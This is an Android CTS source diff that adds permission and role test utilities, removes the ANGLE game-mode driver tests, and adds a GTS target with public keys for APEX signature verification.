+ * Set a new state for an app-op
+ *
+ * <p>Uses the permission-name for new state.</p>
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param permission The permission to which the app-op is associated
+ * @param mode The new mode
+ */
+ @TargetApi(24)
+ private static void setAppOpByPermission(@NonNull String packageName,
+ @NonNull String permission, int mode) {
+ setAppOpByName(packageName, permissionToOp(permission), mode);
+ }
+
+ /**
+ * Set a new state for an app-op (using the app-op-name)
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param op The name of the op
+ * @param mode The new mode
+ */
+ @TargetApi(24)
+ private static void setAppOpByName(@NonNull String packageName, @NonNull String op, int mode) {
+ runWithShellPermissionIdentity(
+ () -> getTargetContext().getSystemService(AppOpsManager.class).setUidMode(op,
+ getTargetContext().getPackageManager()
+ .getPackageUid(packageName, 0), mode));
+ }
+
+ /**
+ * Checks a permission. Does <u>not</u> check the appOp.
+ *
+ * <p>Users should use {@link #isPermissionAndAppOpGranted} instead.</p>
+ *
+ * @param packageName The package that might have the permission granted
+ * @param permission The permission that might be granted
+ * @return {@code true} iff the permission is granted
+ */
+ private static boolean isPermissionGranted(@NonNull String packageName,
+ @NonNull String permission) {
+ return getTargetContext().getPackageManager().checkPermission(permission, packageName)
+ == PERMISSION_GRANTED;
+ }
+
+ /**
+ * Returns if the device is a handheld device.
+ */
+ @TargetApi(23)
+ public static boolean isHandheld(Context context) {
+ final PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ && !pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ /**
+ * Get package names of the applications hlding the role.
+ *
+ * @param roleName the name of the role to get the role holder for
+ * @return a list of package names of the role holders, or an empty list if none.
+ */
+ @TargetApi(29)
+ @NonNull
+ public static List<String> getRoleHolders(String roleName) throws Exception {
+ return callWithShellPermissionIdentity(() -> getTargetContext()
+ .getSystemService(RoleManager.class).getRoleHolders(roleName),
+ Manifest.permission.MANAGE_ROLE_HOLDERS);
+ }
+
+ /**
+ * Returns the app holding the specified role, or null if no app has the role. If more than one
+ * app holds the role, throws an {@link IllegalStateException}.
+ *
+ * @param roleName The target role name.
+ * @return The package name of the app holding the role, or null if not app has the role.
+ */
+ @Nullable
+ public static String getRoleHolder(String roleName) throws Exception {
+ List<String> packageNames = getRoleHolders(roleName);
+ if (packageNames.isEmpty()) {
+ return null;
+ } else if (packageNames.size() == 1) {
+ return packageNames.get(0);
+ } else {
+ throw new IllegalStateException("Expected only 1 package to hold the role \""
+ + roleName + "\" but found " + packageNames.size() + ": " + packageNames);
+ }
+ }
+
+ /**
+ * Check if it is a privileged permission.
+ *
+ * @return {@code true} iff it is a privileged permission
+ */
+ @TargetApi(28)
+ public static boolean isPrivilegedPerm(PermissionInfo permissionInfo) {
+ return permissionInfo != null
+ && ((permissionInfo.getProtection() & PermissionInfo.PROTECTION_SIGNATURE) != 0)
+ && ((permissionInfo.getProtectionFlags()
+ & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0);
+ }
+
+ /**
+ * Check if a package has any privileged permission granted.
+ *
+ * @param packageName The name of the package.
+ * @return {@code true} if the package has any privileged permission granted.
+ */
+ public static boolean isPkgHasPrivilegedPermGranted(@NonNull String packageName)
+ throws Exception {
+ final PackageManager pm = getTargetContext().getPackageManager();
+ PackageInfo pkgInfo = pm.getPackageInfo(packageName, GET_PERMISSIONS);
+ if (pkgInfo.requestedPermissions == null || pkgInfo.requestedPermissionsFlags == null) {
+ return false;
+ }
+ Assert.assertEquals(
+ String.format(Locale.US,
+ "[PackageInfo Error]: package(%s) requestedPermissions.length(%d) does "
+ + "not equal to "
+ + "requestedPermissionsFlags.length(%d)",
+ pkgInfo.packageName,
+ pkgInfo.requestedPermissions.length,
+ pkgInfo.requestedPermissionsFlags.length),
+ pkgInfo.requestedPermissions.length,
+ pkgInfo.requestedPermissionsFlags.length);
+ for (int i = 0; i < pkgInfo.requestedPermissions.length; i++) {
+ if ((pkgInfo.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED)
+ != 0) {
+ try {
+ PermissionInfo permissionInfo = pm.getPermissionInfo(
+ pkgInfo.requestedPermissions[i], 0);
+ if (permissionInfo != null) {
+ return isPrivilegedPerm(permissionInfo);
+ }
+ } catch (PackageManager.NameNotFoundException e) {
+ Log.i(LOG_TAG, String.format("Permission %s not found",
+ pkgInfo.requestedPermissions[i]), e);
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Check if a package is a platform signed app.
+ * Compare the given app cert with the cert of "android" package on the device.
+ * If both are same, then app is platform signed.
+ *
+ * @param packageName The name of the package.
+ * @return {@code true} if the package is a platform signed app.
+ */
+ public static boolean isPlatformSigned(@NonNull String packageName) {
+ final PackageManager pm = getTargetContext().getPackageManager();
+ return pm.checkSignatures(packageName, PLATFORM_PACKAGE_NAME)
+ == PackageManager.SIGNATURE_MATCH;
+ }
+
+ private static Context getTargetContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+}
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 4b699ade0f1..bf21e2ae777 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -35,7 +35,6 @@ java_test_host {
":CtsAngleDriverTestCases",
":CtsAngleDriverTestCasesSecondary",
":CtsAngleDumpsysGpuTestApp",
- ":CtsAngleGameDriverTestCases",
],
per_testcase_directory: true,
}
diff --git a/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml b/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml
deleted file mode 100755
index 7b6b10a80a2..00000000000
--- a/hostsidetests/angle/app/gameDriverTest/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-# Copyright (C) 2021 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.angleintegrationtest.gamedrivertest"
- android:targetSandboxVersion="2">
-
- <application android:debuggable="true"
- android:appCategory="game">
- <uses-library android:name="android.test.runner"/>
-
- <activity android:name="com.android.angleintegrationtest.common.AngleIntegrationTestActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.angleintegrationtest.gamedrivertest"/>
-
-</manifest>
diff --git a/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java b/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java
deleted file mode 100644
index cec4d2ae999..00000000000
--- a/hostsidetests/angle/app/gameDriverTest/src/com/android/angleIntegrationTest/gameDriverTest/AngleDriverTestActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.angleintegrationtest.gamedrivertest;
-
-import static org.junit.Assert.fail;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.angleintegrationtest.common.GlesView;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class AngleDriverTestActivity {
-
- private final String mTAG = this.getClass().getSimpleName();
-
- private void validateDeveloperOption(boolean angleEnabled) throws Exception {
- GlesView glesView = new GlesView();
-
- if (!glesView.validateDeveloperOption(angleEnabled)) {
- if (angleEnabled) {
- String renderer = glesView.getRenderer();
- fail("Failure - ANGLE was not loaded: '" + renderer + "'");
- } else {
- String renderer = glesView.getRenderer();
- fail("Failure - ANGLE was loaded: '" + renderer + "'");
- }
- }
- }
-
- @Test
- public void testUseDefaultDriver() throws Exception {
- validateDeveloperOption(false);
- }
-
- @Test
- public void testUseAngleDriver() throws Exception {
- validateDeveloperOption(true);
- }
-
- @Test
- public void testUseNativeDriver() throws Exception {
- validateDeveloperOption(false);
- }
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 1cc73771a82..5a47f0c1053 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -41,15 +41,12 @@ class CtsAngleCommon {
static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleintegrationtest.drivertest";
static final String ANGLE_DRIVER_TEST_SEC_PKG =
"com.android.angleintegrationtest.drivertestsecondary";
- static final String ANGLE_GAME_DRIVER_TEST_PKG =
- "com.android.angleintegrationtest.gamedrivertest";
static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity";
static final String ANGLE_DRIVER_TEST_DEFAULT_METHOD = "testUseDefaultDriver";
static final String ANGLE_DRIVER_TEST_ANGLE_METHOD = "testUseAngleDriver";
static final String ANGLE_DRIVER_TEST_NATIVE_METHOD = "testUseNativeDriver";
static final String ANGLE_DRIVER_TEST_APP = "CtsAngleDriverTestCases.apk";
static final String ANGLE_DRIVER_TEST_SEC_APP = "CtsAngleDriverTestCasesSecondary.apk";
- static final String ANGLE_GAME_DRIVER_TEST_APP = "CtsAngleGameDriverTestCases.apk";
static final String ANGLE_DUMPSYS_GPU_TEST_PKG =
"com.android.angleintegrationtest.dumpsysgputest";
static final String ANGLE_DUMPSYS_GPU_TEST_CLASS = "AngleDumpsysGpuTestActivity";
@@ -160,26 +157,6 @@ class CtsAngleCommon {
device.executeShellCommand("setprop " + property + " " + value);
}
- static void setGameModeBatteryConfig(ITestDevice device, String packageName, boolean useAngle)
- throws Exception {
- device.executeShellCommand("device_config put game_overlay " + packageName
- + " mode=3,useAngle=" + Boolean.toString(useAngle));
- }
-
- static void setGameModeStandardConfig(ITestDevice device, String packageName, boolean useAngle)
- throws Exception {
- device.executeShellCommand("device_config put game_overlay " + packageName
- + " mode=1,useAngle=" + Boolean.toString(useAngle));
- }
-
- static void setGameModeBattery(ITestDevice device, String packageName) throws Exception {
- device.executeShellCommand("cmd game mode battery " + packageName);
- }
-
- static void setGameModeStandard(ITestDevice device, String packageName) throws Exception {
- device.executeShellCommand("cmd game mode standard " + packageName);
- }
-
/**
* Find and parse the `dumpsys gpu` output for the specified package.
*
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 1d7548948d4..7484270dfe5 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -89,7 +89,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
stopPackage(getDevice(), ANGLE_DRIVER_TEST_PKG);
stopPackage(getDevice(), ANGLE_DRIVER_TEST_SEC_PKG);
- stopPackage(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
}
@After
@@ -363,96 +362,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test {
}
/**
- * Test ANGLE is loaded when the Battery Game Mode includes 'useAngle=true'.
- */
- @Test
- public void testGameModeBatteryUseAngleDriver() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
- * Test ANGLE is loaded when the Standard Game Mode includes 'useAngle=true'.
- */
- @Test
- public void testGameModeStandardUseAngleDriver() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- setGameModeStandardConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeStandard(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
- * Test setting the Game Mode to use ANGLE ('useAngle=true') and then overriding that to use the
- * native driver with the Global.Settings loads the native driver.
- */
- @Test
- public void testGameModeBatteryUseAngleOverrideWithNative() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
- Assume.assumeFalse(isAngleOnlySystem(getDevice()));
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- // Set Game Mode to use ANGLE and verify ANGLE is loaded.
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, true);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
-
- // Set Global.Settings to use the native driver and verify the native driver is loaded.
- setAndValidateAngleDevOptionPkgDriver(ANGLE_GAME_DRIVER_TEST_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_NATIVE_METHOD);
- }
-
- /**
- * Test setting the Game Mode to not use ANGLE ('useAngle=false') and then overriding that to
- * use ANGLE with the Global.Settings loads ANGLE.
- */
- @Test
- public void testGameModeBatteryDontUseAngleOverrideWithAngle() throws Exception {
- Assume.assumeTrue(isAngleInstalled(getDevice()));
- final String testMethod = getTestMethod(getDevice());
-
- installApp(ANGLE_GAME_DRIVER_TEST_APP);
-
- // Set Game Mode to *not* use ANGLE and verify the native driver is loaded when ANGLE is not
- // the system driver.
- setGameModeBatteryConfig(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG, false);
- setGameModeBattery(getDevice(), ANGLE_GAME_DRIVER_TEST_PKG);
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS, testMethod);
-
- // Set Global.Settings to use ANGLE and verify ANGLE is loaded.
- setAndValidateAngleDevOptionPkgDriver(ANGLE_GAME_DRIVER_TEST_PKG,
- sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
-
- runDeviceTests(ANGLE_GAME_DRIVER_TEST_PKG,
- ANGLE_GAME_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
- ANGLE_DRIVER_TEST_ANGLE_METHOD);
- }
-
- /**
* Test that the `dumpsys gpu` correctly indicates `angleInUse = 1` when ANGLE is enabled.
*/
@Test
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 51daffd70a3..d31f7d83342 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -40,6 +40,7 @@ public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCa
private static final long RESTRICT_STORAGE_ACCESS_FRAMEWORK = 141600225L;
private static final long SPLIT_AS_STREAM_RETURNS_SINGLE_EMPTY_STRING = 288845345L;
+ private static final long PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT = 289878283L;
private static final String FEATURE_WATCH = "android.hardware.type.watch";
private static final Set<String> OVERRIDES_ALLOWLIST = ImmutableSet.of(
@@ -174,6 +175,10 @@ public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCa
// This feature is enabled only from U for apps targeting SDK 34+, see b/288845345
changes.removeIf(c -> c.changeId == SPLIT_AS_STREAM_RETURNS_SINGLE_EMPTY_STRING);
+ // Exclude PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT
+ // This feature is enabled only from U for apps targeting SDK 34+, see b/297482242
+ changes.removeIf(c -> c.changeId == PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT);
+
return changes;
}
diff --git a/hostsidetests/appsearch/Android.bp b/hostsidetests/appsearch/Android.bp
index ef30e13c135..62162989589 100644
--- a/hostsidetests/appsearch/Android.bp
+++ b/hostsidetests/appsearch/Android.bp
@@ -47,7 +47,7 @@ android_test_helper_app {
name: "CtsAppSearchHostTestHelperA",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -70,7 +70,7 @@ android_test_helper_app {
name: "CtsAppSearchHostTestHelperB",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 100e5ede8b9..9a4a8c402e9 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -171,3 +171,40 @@ filegroup {
name: "CtsHostsideTestsAppSecurityUtil",
srcs: ["src/android/appsecurity/cts/Utils.java"],
}
+
+// The ApexSignatureVerificationTest is split into a separate java_test_host
+// to make it possible to run this test as part of GTS as well.
+// See b/301094654
+java_test_host {
+ name: "GtsApexSignatureVerificationTest",
+ defaults: ["cts_defaults"],
+
+ srcs: [
+ "src/android/appsecurity/cts/ApexSignatureVerificationTest.java",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "truth-prebuilt",
+ "hamcrest-library",
+ ],
+
+ static_libs: [
+ "CompatChangeGatingTestBase",
+ "CtsPkgInstallerConstants",
+ "cts-host-utils",
+ "cts-statsd-atom-host-test-utils",
+ "sts-host-util",
+ ],
+
+ java_resource_dirs: ["res"],
+
+ // tag this module as a cts test artifact
+ test_suites: [
+ "general-tests",
+ "gts",
+ ],
+ per_testcase_directory: true,
+ test_config: "AndroidTest_ApexSignatureVerificationTest.xml",
+}
diff --git a/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml b/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml
new file mode 100644
index 00000000000..d14b67e196a
--- /dev/null
+++ b/hostsidetests/appsecurity/AndroidTest_ApexSignatureVerificationTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for the GtsApexSignatureVerificationTest">
+ <option name="test-suite-tag" value="gts" />
+ <option name="config-descriptor:metadata" key="component" value="packagemanager" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="android.appsecurity.cts.AppSecurityPreparer" />
+ <!-- disable DeprecatedAbi warning -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="setprop debug.wm.disable_deprecated_abi_dialog 1" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="GtsApexSignatureVerificationTest.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey
new file mode 100644
index 00000000000..e6ffe589d5a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/build.bazel.examples.apex.minimal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey
new file mode 100644
index 00000000000..42885199567
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.adservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey
new file mode 100644
index 00000000000..bef1df60203
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.product.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey
new file mode 100644
index 00000000000..ef0438e6e1f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey
new file mode 100644
index 00000000000..0d978b8d7e3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.system_ext.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey
new file mode 100644
index 00000000000..3ad68fca581
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.vendor.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey
new file mode 100644
index 00000000000..4e5acae9c1e
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.appsearch.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey
new file mode 100644
index 00000000000..969211f93ec
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.btservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey
new file mode 100644
index 00000000000..0b720b84598
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.car.framework.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey
new file mode 100644
index 00000000000..a7f87c33477
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.cellbroadcast.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey
new file mode 100644
index 00000000000..3f09680b7bc
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.compos.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey
new file mode 100644
index 00000000000..f37d3e4a14d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.extservices.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey
new file mode 100644
index 00000000000..f705184b206
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.geotz.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey
new file mode 100644
index 00000000000..b9164fb28f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.core_permissions.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey
new file mode 100644
index 00000000000..3b6411d994b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.power.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey
new file mode 100644
index 00000000000..98dfb71b81f
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.sensors.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey
new file mode 100644
index 00000000000..8f7cf72760d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.thermal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey
new file mode 100644
index 00000000000..0302d6341a8
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.usb.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey
new file mode 100644
index 00000000000..a6ca6303fa0
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.vibrator.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey
new file mode 100644
index 00000000000..63fba77bb19
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.hardware.wifi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey
new file mode 100644
index 00000000000..c1b8dda34b3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.mediaprovider.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey
new file mode 100644
index 00000000000..e95ecbe86bc
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey
new file mode 100644
index 00000000000..4e74bb185bd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey
new file mode 100644
index 00000000000..d78af8b8bef
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey
Binary files differ
